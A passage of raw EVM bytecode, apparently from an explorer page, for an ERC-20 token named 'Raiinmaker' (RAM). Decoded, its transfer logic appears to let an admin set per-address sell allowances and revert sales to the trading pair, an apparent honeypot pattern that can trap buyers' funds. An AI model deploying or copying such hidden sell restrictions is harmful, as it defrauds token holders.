ca31461023357806326049d53146102635780632f2ff15d1461027f578063313ce5671461029b57806336568abe146102b957806357a86f7d146102d557610158565b806306fdde031461015d578063095ea7b31461017b57806315ff04ee146101ab57806318160ddd146101c75780631b2df850146101e557806323b872dd14610203575b600080fd5b610165610471565b6040516101729190611cc1565b60405180910390f35b61019560048036038101906101909190611d8b565b610503565b6040516101a29190611de6565b60405180910390f35b6101c560048036038101906101c09190611e01565b610526565b005b6101cf6105da565b6040516101dc9190611e3d565b60405180910390f35b6101ed6105e4565b6040516101fa9190611e71565b60405180910390f35b61021d60048036038101906102189190611e8c565b6105eb565b60405161022a9190611de6565b60405180910390f35b61024d60048036038101906102489190611f0b565b61061a565b60405161025a9190611e71565b60405180910390f35b61027d60048036038101906102789190612080565b610639565b005b610299600480360381019061029491906120ef565b6107a5565b005b6102a36107c7565b6040516102b0919061214b565b60405180910390f35b6102d360048036038101906102ce91906120ef565b6107d0565b005b6102dd61084b565b005b6102e7610876565b005b61030360048036038101906102fe9190611e01565b6108a1565b005b61031f600480360381019061031a9190611d8b565b610909565b005b61033b60048036038101906103369190611e01565b6109b0565b6040516103489190611e3d565b60405180910390f35b61036b60048036038101906103669190611d8b565b6109f9565b005b610387600480360381019061038291906120ef565b610aa0565b6040516103949190611de6565b60405180910390f35b6103a5610b0a565b6040516103b29190611cc1565b60405180910390f35b6103d560048036038101906103d09190611d8b565b610b9c565b6040516103e29190611de6565b60405180910390f35b6103f3610bbf565b6040516104009190611e71565b60405180910390f35b610423600480360381019061041e9190611e01565b610be3565b005b61043f600480360381019061043a91906120ef565b610c4c565b005b61045b60048036038101906104569190612166565b610c6e565b6040516104689190611e3d565b60405180910390f35b606060068054610480906121d5565b80601f01602080910402602001604051908101604052809291908181526020018280546104ac906121d5565b80156104f95780601f106104ce576101008083540402835291602001916104f9565b820191906000526020600020905b8154815290600101906020018083116104dc57829003601f168201915b5050505050905090565b60008061050e610cf5565b905061051b818585610cfd565b600191505092915050565b6000801b61053381610d0f565b61055d7f545241444500000000000000000000000000000000000000000000000000000083610d23565b5060008060007f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600554905090565b6000801b81565b6000806105f6610cf5565b9050610603858285610e14565b61060e858585610ea8565b60019150509392505050565b6000806000838152602001908152602001600020600301549050919050565b6000801b61064681610d0f565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc9190612232565b60ff16905060005b85518160ff16101561079c57600082600a6106df91906123c1565b866106ea919061240c565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff168151811061071e5761071d612466565b5b6020026020010151836040518363ffffffff1660e01b81526004016107449291906124a4565b6020604051808303816000875af1158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906124f9565b5050808061079490612526565b9150506106c4565b50505050505050565b6107ae8261061a565b6107b781610d0f565b6107c18383610d23565b50505050565b60006012905090565b6107d8610cf5565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461083c576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108468282610fa7565b505050565b6000801b61085881610d0f565b6001600860006101000a81548160ff02191690831515021790555050565b6000801b61088381610d0f565b6000600860006101000a81548160ff02191690831515021790555050565b6000801b6108ae81610d0f565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b61091681610d0f565b61091e6107c7565b600a61092a919061254f565b82610935919061240c565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000801b610a0681610d0f565b610a0e6107c7565b600a610a1a919061254f565b82610a25919061240c565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600080600084815260200190815260200160002060020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060078054610b19906121d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610b45906121d5565b8015610b925780601f10610b6757610100808354040283529160200191610b92565b820191906000526020600020905b815481529060010190602001808311610b7557829003601f168201915b5050505050905090565b600080610ba7610cf5565b9050610bb4818585610ea8565b600191505092915050565b7f545241444500000000000000000000000000000000000000000000000000000081565b6000801b610bf081610d0f565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610c558261061a565b610c5e81610d0f565b610c688383610fa7565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b610d0a8383836001611099565b505050565b610d2081610d1b610cf5565b611270565b50565b6000610d2f8383610aa0565b610e0957600160008085815260200190815260200160002060020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610da6610cf5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050610e0e565b600090505b92915050565b6000610e208484610c6e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea25781811015610e92578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e899392919061259a565b60405180910390fd5b610ea184848484036000611099565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1a5760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f1191906125d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8c5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f8391906125d1565b60405180910390fd5b610f978383836112c1565b610fa283838361139a565b505050565b6000610fb38383610aa0565b1561108e57600080600085815260200190815260200160002060020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061102b610cf5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611093565b600090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361110b5760006040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161110291906125d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361117d5760006040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161117491906125d1565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561126a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112619190611e3d565b60405180910390a35b50505050565b61127a8282610aa0565b6112bd5780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016112b49291906125ec565b60405180910390fd5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113255761132082826115c2565b611395565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113895761138483826117dc565b611394565b61139383826117dc565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ec5780600560008282546113e09190612615565b925050819055506114c1565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611479578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016114709392919061259a565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361150a5780600560008282540392505081905550611558565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b59190611e3d565b60405180910390a3505050565b6115cb82611c0e565b1561170757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116c95761164c7f545241444500000000000000000000000000000000000000000000000000000083610d23565b50806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611706565b816040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016116fd91906125d1565b60405180910390fd5b5b6117317f545241444500000000000000000000000000000000000000000000000000000083610aa0565b6117d85761175f7f545241444500000000000000000000000000000000000000000000000000000083610d23565b50806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6117e96000801b83610aa0565b611c0a57600860009054906101000a900460ff16156119c457806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156118845750600081115b1561198257806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119079190612649565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119bf565b816040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016119b691906125d1565b60405180910390fd5b611c09565b806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611a465750600081115b15611b4457806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac99190612649565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c08565b600081111580611bc55750806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15611c0757816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611bfe91906125d1565b60405180910390fd5b5b5b5b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c6b578082015181840152602081019050611c50565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c9382611c31565b611c9d8185611c3c565b9350611cad818560208601611c4d565b611cb681611c77565b840191505092915050565b60006020820190508181036000830152611cdb8184611c88565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d2282611cf7565b9050919050565b611d3281611d17565b8114611d3d57600080fd5b50565b600081359050611d4f81611d29565b92915050565b6000819050919050565b611d6881611d55565b8114611d7357600080fd5b50565b600081359050611d8581611d5f565b92915050565b60008060408385031215611da257611da1611ced565b5b6000611db085828601611d40565b9250506020611dc185828601611d76565b9150509250929050565b60008115159050919050565b611de081611dcb565b82525050565b6000602082019050611dfb6000830184611dd7565b92915050565b600060208284031215611e1757611e16611ced565b5b6000611e2584828501611d40565b91505092915050565b611e3781611d55565b82525050565b6000602082019050611e526000830184611e2e565b92915050565b6000819050919050565b611e6b81611e58565b82525050565b6000602082019050611e866000830184611e62565b92915050565b600080600060608486031215611ea557611ea4611ced565b5b6000611eb386828701611d40565b9350506020611ec486828701611d40565b9250506040611ed586828701611d76565b9150509250925092565b611ee881611e58565b8114611ef357600080fd5b50565b600081359050611f0581611edf565b92915050565b600060208284031215611f2157611f20611ced565b5b6000611f2f84828501611ef6565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611f7582611c77565b810181811067ffffffffffffffff82111715611f9457611f93611f3d565b5b80604052505050565b6000611fa7611ce3565b9050611fb38282611f6c565b919050565b600067ffffffffffffffff821115611fd357611fd2611f3d565b5b602082029050602081019050919050565b600080fd5b6000611ffc611ff784611fb8565b611f9d565b9050808382526020820190506020840283018581111561201f5761201e611fe4565b5b835b8181101561204857806120348882611d40565b845260208401935050602081019050612021565b5050509392505050565b600082601f83011261206757612066611f38565b5b8135612077848260208601611fe9565b91505092915050565b60008060006060848603121561209957612098611ced565b5b60006120a786828701611d40565b935050602084013567ffffffffffffffff8111156120c8576120c7611cf2565b5b6120d486828701612052565b92505060406120e586828701611d76565b9150509250925092565b6000806040838503121561210657612105611ced565b5b600061211485828601611ef6565b925050602061212585828601611d40565b9150509250929050565b600060ff82169050919050565b6121458161212f565b82525050565b6000602082019050612160600083018461213c565b92915050565b6000806040838503121561217d5761217c611ced565b5b600061218b85828601611d40565b925050602061219c85828601611d40565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121ed57607f821691505b602082108103612200576121ff6121a6565b5b50919050565b61220f8161212f565b811461221a57600080fd5b50565b60008151905061222c81612206565b92915050565b60006020828403121561224857612247611ced565b5b60006122568482850161221d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156122e5578086048111156122c1576122c061225f565b5b60018516156122d05780820291505b80810290506122de8561228e565b94506122a5565b94509492505050565b6000826122fe57600190506123ba565b8161230c57600090506123ba565b8160018114612322576002811461232c5761235b565b60019150506123ba565b60ff84111561233e5761233d61225f565b5b8360020a9150848211156123555761235461225f565b5b506123ba565b5060208310610133831016604e8410600b84101617156123905782820a90508381111561238b5761238a61225f565b5b6123ba565b61239d848484600161229b565b925090508184048111156123b4576123b361225f565b5b81810290505b9392505050565b60006123cc82611d55565b91506123d783611d55565b92506124047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122ee565b905092915050565b600061241782611d55565b915061242283611d55565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561245b5761245a61225f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b61249e81611d17565b82525050565b60006040820190506124b96000830185612495565b6124c66020830184611e2e565b9392505050565b6124d681611dcb565b81146124e157600080fd5b50565b6000815190506124f3816124cd565b92915050565b60006020828403121561250f5761250e611ced565b5b600061251d848285016124e4565b91505092915050565b60006125318261212f565b915060ff82036125445761254361225f565b5b600182019050919050565b600061255a82611d55565b91506125658361212f565b92506125927fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122ee565b905092915050565b60006060820190506125af6000830186612495565b6125bc6020830185611e2e565b6125c96040830184611e2e565b949350505050565b60006020820190506125e66000830184612495565b92915050565b60006040820190506126016000830185612495565b61260e6020830184611e62565b9392505050565b600061262082611d55565b915061262b83611d55565b92508282019050808211156126435761264261225f565b5b92915050565b600061265482611d55565b915061265f83611d55565b92508282039050818111156126775761267661225f565b5b9291505056fea2646970667358221220a8ca3fa1a5705e57c662704741aa1010616a42c49b04d95f9dc574d17819578f64736f6c63430008100033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000009c4c64dbf55603949742f36fe6b869a15e5c57f0000000000000000000000000000000000000000000000000000000000000000a526169696e6d616b657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000352414d0000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80635dcd1c7a116100c357806395d89b411161007c57806395d89b411461039d578063a9059cbb146103bb578063c08ed94a146103eb578063cb123f4f14610409578063d547741f14610425578063dd62ed3e1461044157610158565b80635dcd1c7a146102df5780635f539d69146102e957806367385bf81461030557806370a08231146103215780638405fdb31461035157806391d148541461036d57610158565b8063248a9ca311610115578063248a9ca31461023357806326049d53146102635780632f2ff15d1461027f578063313ce5671461029b57806336568abe146102b957806357a86f7d146102d557610158565b806306fdde031461015d578063095ea7b31461017b57806315ff04ee146101ab57806318160ddd146101c75780631b2df850146101e557806323b872dd14610203575b600080fd5b610165610471565b6040516101729190611cc1565b60405180910390f35b61019560048036038101906101909190611d8b565b610503565b6040516101a29190611de6565b60405180910390f35b6101c560048036038101906101c09190611e01565b610526565b005b6101cf6105da565b6040516101dc9190611e3d565b60405180910390f35b6101ed6105e4565b6040516101fa9190611e71565b60405180910390f35b61021d60048036038101906102189190611e8c565b6105eb565b60405161022a9190611de6565b60405180910390f35b61024d60048036038101906102489190611f0b565b61061a565b60405161025a9190611e71565b60405180910390f35b61027d60048036038101906102789190612080565b610639565b005b610299600480360381019061029491906120ef565b6107a5565b005b6102a36107c7565b6040516102b0919061214b565b60405180910390f35b6102d360048036038101906102ce91906120ef565b6107d0565b005b6102dd61084b565b005b6102e7610876565b005b61030360048036038101906102fe9190611e01565b6108a1565b005b61031f600480360381019061031a9190611d8b565b610909565b005b61033b60048036038101906103369190611e01565b6109b0565b6040516103489190611e3d565b60405180910390f35b61036b60048036038101906103669190611d8b565b6109f9565b005b610387600480360381019061038291906120ef565b610aa0565b6040516103949190611de6565b60405180910390f35b6103a5610b0a565b6040516103b29190611cc1565b60405180910390f35b6103d560048036038101906103d09190611d8b565b610b9c565b6040516103e29190611de6565b60405180910390f35b6103f3610bbf565b6040516104009190611e71565b60405180910390f35b610423600480360381019061041e9190611e01565b610be3565b005b61043f600480360381019061043a91906120ef565b610c4c565b005b61045b60048036038101906104569190612166565b610c6e565b6040516104689190611e3d565b60405180910390f35b606060068054610480906121d5565b80601f01602080910402602001604051908101604052809291908181526020018280546104ac906121d5565b80156104f95780601f106104ce576101008083540402835291602001916104f9565b820191906000526020600020905b8154815290600101906020018083116104dc57829003601f168201915b5050505050905090565b60008061050e610cf5565b905061051b818585610cfd565b600191505092915050565b6000801b61053381610d0f565b61055d7f545241444500000000000000000000000000000000000000000000000000000083610d23565b5060008060007f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600554905090565b6000801b81565b6000806105f6610cf5565b9050610603858285610e14565b61060e858585610ea8565b60019150509392505050565b6000806000838152602001908152602001600020600301549050919050565b6000801b61064681610d0f565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc9190612232565b60ff16905060005b85518160ff16101561079c57600082600a6106df91906123c1565b866106ea919061240c565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff168151811061071e5761071d612466565b5b6020026020010151836040518363ffffffff1660e01b81526004016107449291906124a4565b6020604051808303816000875af1158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906124f9565b5050808061079490612526565b9150506106c4565b50505050505050565b6107ae8261061a565b6107b781610d0f565b6107c18383610d23565b50505050565b60006012905090565b6107d8610cf5565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461083c576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108468282610fa7565b505050565b6000801b61085881610d0f565b6001600860006101000a81548160ff02191690831515021790555050565b6000801b61088381610d0f565b6000600860006101000a81548160ff02191690831515021790555050565b6000801b6108ae81610d0f565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b61091681610d0f565b61091e6107c7565b600a61092a919061254f565b82610935919061240c565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000801b610a0681610d0f565b610a0e6107c7565b600a610a1a919061254f565b82610a25919061240c565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600080600084815260200190815260200160002060020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060078054610b19906121d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610b45906121d5565b8015610b925780601f10610b6757610100808354040283529160200191610b92565b820191906000526020600020905b815481529060010190602001808311610b7557829003601f168201915b5050505050905090565b600080610ba7610cf5565b9050610bb4818585610ea8565b600191505092915050565b7f545241444500000000000000000000000000000000000000000000000000000081565b6000801b610bf081610d0f565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610c558261061a565b610c5e81610d0f565b610c688383610fa7565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b610d0a8383836001611099565b505050565b610d2081610d1b610cf5565b611270565b50565b6000610d2f8383610aa0565b610e0957600160008085815260200190815260200160002060020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610da6610cf5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050610e0e565b600090505b92915050565b6000610e208484610c6e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea25781811015610e92578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e899392919061259a565b60405180910390fd5b610ea184848484036000611099565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1a5760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f1191906125d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8c5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f8391906125d1565b60405180910390fd5b610f978383836112c1565b610fa283838361139a565b505050565b6000610fb38383610aa0565b1561108e57600080600085815260200190815260200160002060020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061102b610cf5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611093565b600090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361110b5760006040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161110291906125d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361117d5760006040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161117491906125d1565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561126a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112619190611e3d565b60405180910390a35b50505050565b61127a8282610aa0565b6112bd5780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016112b49291906125ec565b60405180910390fd5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113255761132082826115c2565b611395565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113895761138483826117dc565b611394565b61139383826117dc565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ec5780600560008282546113e09190612615565b925050819055506114c1565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611479578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016114709392919061259a565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361150a5780600560008282540392505081905550611558565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b59190611e3d565b60405180910390a3505050565b6115cb82611c0e565b1561170757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116c95761164c7f545241444500000000000000000000000000000000000000000000000000000083610d23565b50806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611706565b816040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016116fd91906125d1565b60405180910390fd5b5b6117317f545241444500000000000000000000000000000000000000000000000000000083610aa0565b6117d85761175f7f545241444500000000000000000000000000000000000000000000000000000083610d23565b50806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6117e96000801b83610aa0565b611c0a57600860009054906101000a900460ff16156119c457806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156118845750600081115b1561198257806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119079190612649565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119bf565b816040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016119b691906125d1565b60405180910390fd5b611c09565b806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611a465750600081115b15611b4457806000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac99190612649565b6000807f5452414445000000000000000000000000000000000000000000000000000000815260200190815260200160002060000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffff